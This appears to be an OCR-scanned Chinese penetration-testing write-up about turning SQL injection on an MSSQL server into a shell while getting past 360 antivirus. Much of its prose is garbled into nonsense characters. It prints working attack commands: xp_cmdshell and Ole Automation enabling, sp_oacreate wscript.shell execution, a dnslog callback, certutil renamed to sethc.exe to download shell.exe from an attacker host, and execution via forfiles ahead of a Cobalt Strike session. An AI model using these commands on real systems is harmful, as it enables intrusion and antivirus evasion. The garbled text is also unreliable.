18— XA A mssqgl £z

IRIFIZ R
HA—REENIERETR, NEWHTREEZELTRE, NFmETIERE,

EFUE AW mssql SENRE
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"/ " N FBRE R HRRIBR SRR TRIR.

"005" Ml EIE LA R,
Frid ‘005" J5HI5 ST,
40 TR Web WEREIE), HIASNENDE, WREEEREE, TR R AR SRR EES,

SEFMER: System.Data OleDb OleDbException: “005"HiEEEEEIR.
R 005" B IS AR,

SR
WITERE web EREAEERE 7 FREIENSE. ALAEATENSSERRIEE EREAFERENEE N EMER -
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Getshell
—. &1 360

F3 1=(select is_srvrolemember('sysadmin')) A1 host_name()!=@@servername #&T RS

sa IR, HifEDE, 54T webshell, 28/ salmap # os—shell, &I IT@HS T,
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9:12: running in a single- . Please consider usage o
option '--threads' for faster data retrieval
[19:12:12] [ 1 unable to retrieve xp_cmdshell output
[19:12:12] [ ] going to use extended procedure 'xp_cmdshell' for operating

system command execution
[19:12:12] [ ] calling Windows 0S shell. To quit type

x' or 'gq' and press

ENTER

os-shell> ipconfig
do you want to retrieve the command standard output? [Y/n/a] Y

[19:12:16] [ ] retrieved: 0

(https://xzfile.aliyuncs.com/media/upload/picture/20210303215144-97467a76-7¢27—
1.png)

{$£H EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure
'xp_cmdshell',1 RECONFIGURE; 233,71 /2 xp_cmdshell 4kIHBFR,

F3 create table tmp(dir ntext,num int) BliEFE, ZAFH insert tmp execute
master..xp_dirtree 'c:/',1 1§ ¢c BEERBAFKHR, BFFXRKIN 360, ZHIan<EHE 360 =4,

TO
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back-end DBMS: Microsoft SQL Server 2014

[18:06:23] [ ] fetching entries of column(s) 'dir' for table 't
p6' in databass '

Database: ws_1j

able: tmp6

[28 entries]
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System Volume Information
Users

Windows
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. %Y 360 £%4 CS
2 FNER G, &IAI LA sp_oacreate A Ta<,
FF/3 sp_oacreate:

exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Auto
mation Procedures', 1; RECONFIGURE;

MEar 180, ERN{ER sp_oacreate ITar < 2 LLIEN, /A dnslog FEHITHIKT:
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Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @r
unshell, "run' null, "ping who.xxxx.dnslog.cn';

DNS Query Record IP Address Created Time
whommm dnslog.cn
who go o w.dnslog.cn T
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BE{FA certutil.exe, wmic, mshta Z{FAT

AF sp_oacreate MiE154), Y5 certutil.exe 1% c:\windows\temp \ T, HEHEN
sethc.exe:

declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @
o, 'copyfile',null, 'C:\Windows\System32\certutil.exe"' ,'c:\windows\temp\sethc.exe';

ERRSS2: LM python JT/E http ARSS, AEEMar<IniE FEL exe X4

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shel
1, "run'  null, 'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://ip:port/shell.exe"
C:\Windows\Temp\shell.exe'

"GET /2. HTTP/1.1"

"GET /2. HTTP/1.1"

"GET /2. HTTP/1.1"

"EET /2. HTTP/1.1"
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1.png)

ABEELEERT, BREITAT. o o o

=E1BZ Sel0rc KfE, vJLAA forfiles /c testexe, BE:
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vecLare erunsnelLl LNI £BXeC SF_UALredte WSCript.sneLlL ,%runsneLlt OUT c£XeC SF_UAMEIRnUU ©r
unshell, "run',null, 'forfiles /c shell.exe';

FEERTh, RO SelOrc K&

e R R —— . ————— —— —— - ———

B, s MSSQL... FmsiE qgl.exe 2244 x64 14s
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T.png)

SEWIER:

https://github.com/doubleshuaibi/MssaglSeckill
(https://github.com/doubleshuaibi/MssqlSeckill)

https://blog.csdn.net/sandy9919/article/details/82932460
(https://blog.csdn.net/sandy9919/article/details/82932460)

https://zhuanlan.zhihu.com/p/31111348 (https://zhuanlan.zhihu.com/p/31111348)

https://blog.csdn.net/sircoding/article/details/ 78681016
(https://blog.csdn.net/sircoding/article/details/78681016)

https://my.oschina.net/u/4396523/blog/3501613
(https://my.oschina.net/u/4396523/blog/3501613)
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